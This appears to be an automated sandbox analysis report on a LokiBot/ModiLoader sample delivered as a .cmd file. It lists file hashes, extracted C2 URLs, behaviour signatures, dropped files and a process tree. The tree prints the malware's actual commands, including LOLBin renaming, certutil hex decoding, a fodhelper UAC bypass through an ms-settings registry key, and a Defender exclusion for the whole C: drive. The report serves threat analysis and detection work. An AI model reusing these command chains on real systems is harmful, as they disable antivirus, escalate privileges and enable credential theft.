Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-07-2024 09:43

General

  • Target

    megerosites.cmd

  • Size

    3.1MB

  • MD5

    a7ecf2d80475a31c10bfdddd8c060548

  • SHA1

    f2b81ba9aa32b39fa41558f67d2627ab3da72f29

  • SHA256

    6a3e2eecb7f7f464c57a7159570d2d55c6893839be852af898089550265f5dfc

  • SHA512

    64b26683677f636eaf632f11d3f9d6d7502ab17a3b102fffc66c846b53d017f2dd09c5e42bbaa7e3d07a7a98f26909cccb41a746ba520a3a9b9dce43bf7a55a5

  • SSDEEP

    24576:eIQFfxaplqwu8YYDEWRRm0Dxb3n7o3quNeHt2T6IPGKhCNwPmOyEC5p+gP3m0nlL:eIq5a/h5YYDEcRm0D53UYHQ6hcm5ECR

Malware Config

Extracted

Family

lokibot

C2

http://104.248.205.66/index.php/modify.php?edit=1

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 29 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\megerosites.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:3500
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2892
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\megerosites.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4440
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\megerosites.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
            3⤵
            • Executes dropped EXE
            PID:3336
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5064
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
            3⤵
            • Executes dropped EXE
            PID:3172
        • C:\Users\Public\Libraries\CLEAN.COM
          C:\Users\Public\Libraries\CLEAN.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4996
          • C:\Users\Public\Libraries\ypbfdsfV.pif
            C:\Users\Public\Libraries\ypbfdsfV.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4036
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E124.tmp\E125.tmp\E126.bat C:\Users\Public\Libraries\ypbfdsfV.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3668
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:396
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:4812
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:4180
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1752
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:4416
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4700
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:1908
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1144
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:4480
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:5088
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3444
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:2740
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:3820
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:1156
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4088
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:696
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1148
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 2
                          6⤵
                          • Runs ping.exe
                          PID:720
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:5116
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:1992
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:3300
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3276
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2312
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1588
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1656
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Vfsdfbpy.PIF
                    3⤵
                      PID:1520
                    • C:\Users\Public\Libraries\ypbfdsfV.pif
                      C:\Users\Public\Libraries\ypbfdsfV.pif
                      3⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook profiles
                      • Suspicious use of AdjustPrivilegeToken
                      • outlook_office_path
                      • outlook_win_path
                      PID:3260
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1504
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2896
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:348

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\E124.tmp\E125.tmp\E126.bat

                    Filesize

                    1KB

                    MD5

                    e62f427202d3e5a3ba60ebe78567918c

                    SHA1

                    6ef0cd5ba6c871815fceb27ff095a7931452b334

                    SHA256

                    06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

                    SHA512

                    e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_of31vwyo.k21.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3419463127-3903270268-2580331543-1000\0f5007522459c86e95ffcc62f32308f1_da80f27c-12da-4232-b66b-1e1207d248ba

                    Filesize

                    46B

                    MD5

                    d898504a722bff1524134c6ab6a5eaa5

                    SHA1

                    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

                    SHA256

                    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

                    SHA512

                    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3419463127-3903270268-2580331543-1000\0f5007522459c86e95ffcc62f32308f1_da80f27c-12da-4232-b66b-1e1207d248ba

                    Filesize

                    46B

                    MD5

                    c07225d4e7d01d31042965f048728a0a

                    SHA1

                    69d70b340fd9f44c89adb9a2278df84faa9906b7

                    SHA256

                    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

                    SHA512

                    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

                  • C:\Users\Public\CLEAN.GIF

                    Filesize

                    2.0MB

                    MD5

                    90dadde803ff62b49c7a6a1036c1345d

                    SHA1

                    38a66479a3a9e77e706c0d3d61c34d00abf827e6

                    SHA256

                    59d08989d1f700d980293cfb00ac9210faa20b927f1677b703a1202c845b6f6c

                    SHA512

                    8bf8efac27e3949a0188f1e2b21a1c605979f72430cc4d3b5d97ef5da3e34a2ea3953de57b1c8e6fc505d587b6cd501aa028b824bd1b7573530f80ece01896a5

                  • C:\Users\Public\Libraries\CLEAN.COM

                    Filesize

                    1002KB

                    MD5

                    100c56dc1dda4a00ce29621b2e9be469

                    SHA1

                    ac6986c4529cf338e33a7e4034c4addecac18b1a

                    SHA256

                    1da560c9b053a8caf0b89f42196427c7075138b619879a8508736fd8451ecab8

                    SHA512

                    3a13c132ff90291716d8512f794b0cccff458d87039a150c10e6db5ba3954d1a9d78e8b8e1564d6876f3056492aaebfc5b11c37397a09f4a9198c03f6100d5ba

                  • C:\Users\Public\Libraries\ypbfdsfV.pif

                    Filesize

                    66KB

                    MD5

                    c116d3604ceafe7057d77ff27552c215

                    SHA1

                    452b14432fb5758b46f2897aeccd89f7c82a727d

                    SHA256

                    7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                    SHA512

                    9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

                  • C:\Users\Public\alpha.exe

                    Filesize

                    283KB

                    MD5

                    8a2122e8162dbef04694b9c3e0b6cdee

                    SHA1

                    f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                    SHA256

                    b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                    SHA512

                    99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                  • C:\Users\Public\ger.exe

                    Filesize

                    75KB

                    MD5

                    227f63e1d9008b36bdbcc4b397780be4

                    SHA1

                    c0db341defa8ef40c03ed769a9001d600e0f4dae

                    SHA256

                    c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                    SHA512

                    101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                  • C:\Users\Public\kn.exe

                    Filesize

                    1.6MB

                    MD5

                    bd8d9943a9b1def98eb83e0fa48796c2

                    SHA1

                    70e89852f023ab7cde0173eda1208dbb580f1e4f

                    SHA256

                    8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                    SHA512

                    95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                  • C:\Users\Public\xkn.exe

                    Filesize

                    442KB

                    MD5

                    04029e121a0cfa5991749937dd22a1d9

                    SHA1

                    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                    SHA256

                    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                    SHA512

                    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                  • C:\Windows \System32\per.exe

                    Filesize

                    48KB

                    MD5

                    85018be1fd913656bc9ff541f017eacd

                    SHA1

                    26d7407931b713e0f0fa8b872feecdb3cf49065a

                    SHA256

                    c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                    SHA512

                    3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                  • memory/3260-112-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3260-133-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3260-147-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3260-135-0x0000000000400000-0x00000000004A2000-memory.dmp

                    Filesize

                    648KB

                  • memory/3260-132-0x0000000000400000-0x00000000004A2000-memory.dmp

                    Filesize

                    648KB

                  • memory/3260-110-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3444-72-0x0000020CD05F0000-0x0000020CD0612000-memory.dmp

                    Filesize

                    136KB

                  • memory/4036-41-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/4036-102-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/4036-42-0x0000000000400000-0x000000000041A000-memory.dmp

                    Filesize

                    104KB

                  • memory/4036-104-0x0000000000400000-0x000000000041A000-memory.dmp

                    Filesize

                    104KB

                  • memory/4036-39-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/4036-36-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/4996-28-0x0000000000400000-0x0000000000504000-memory.dmp

                    Filesize

                    1.0MB